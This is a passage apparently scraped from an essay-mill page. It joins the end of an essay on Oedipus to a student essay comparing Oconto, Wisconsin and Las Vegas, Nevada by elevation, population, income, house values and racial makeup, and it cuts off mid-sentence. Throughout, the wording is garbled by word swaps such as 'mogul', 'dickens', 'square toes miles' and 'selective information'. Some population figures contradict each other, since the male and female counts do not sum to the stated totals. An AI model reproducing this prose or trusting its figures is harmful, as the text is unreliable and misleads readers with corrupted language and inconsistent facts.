living, Oedipus replies, its unfit to say what is unfit to do. I beg of you in Gods name hide me somewhere outside your country, yes, or kill me, or throw me into the sea In other words, Gods will be done. Whatever our baneful designs, we are caught in a far greater design, or web, which can grab us and pull us down at some(prenominal) time. As the play concludes, Count no mortal happy bowl he has passed the final limit of his life secure from pain. Or, as a modern ballplayer put it, Dont look back. Something mogul be gaining on you.

Oconto, WI vs. Las Vegas, NV :: essays research papers

Oconto, WI vs. Las Vegas, NVI currently live in Oconto, WI, plainly would love to go to Las Vegas, NV. Therefore, I am going to comp are these dickens very different cities in terms of economics. There is great variation in the comparison amongst Oconto, WI and Las Vegas, NV. Oconto is located in Oconto County and Las Vegas is located in Clark County. Las Vegas has an elevation of 2000 feet, while Oconto is only 591 feet. Oconto has a land area of 6.9 square toes miles, compared to Las Vegas with 113.3 square miles. Also Oconto has only one zip code, but Las Vegas has 36. The creation of Oconto, Wisconsin was estimated at 4,751 in July of 2002. Compare this to the estimated population in July 2002 for Las Vegas at 508,604 people. Males do up 48.0% of Ocontos population at 2,259 and females make up the some early(a) 52.0% at 2,449. However, males made up 50.8% of the population in Las Vegas at 243,077 and females made up the remaining 49.2% at 235,357 people. The median resi dent age for Oconto is 36.9 years. This is middling close to that of Las Vegas at 34.5 years. Oconto had a median household income of $34,589 in 2000. once again Las Vegas had a fairly close number of $44,069 which was also in 2000. A big difference comes in the median house value between the two cities. Oconto has a value of $69,800 which was in 2000. However, Las Vegas had a value of $137,300 in 2000. The race breakdown between the two cities is also very different. The absolute majority of Oconto is made up of the White Non-Hispanic race at 97.3% of the population. hobby are the minorities in Oconto of American Indian at 1.2%, two or more(prenominal) races at 0.9% and Hispanic at 0.8%. By looking at this selective information it is easy to see that Oconto is not a very culturally diverse town. The majority of Las Vegas is also made up of White Non-Hispanic people at 58.0%. This is considerably lower than Oconto and Las Vegas is made up of many more races than Oconto. Follow ing are the minorities in Las Vegas of Hispanic at 23.6%, Black at 10.4%, other races at 9.7%, two or more races at 4.1%, Filipino at 2.3%, American Indian at 1.5%, Chinese at 0.6%, Other Asian at 0.6%, and Japanese at 0.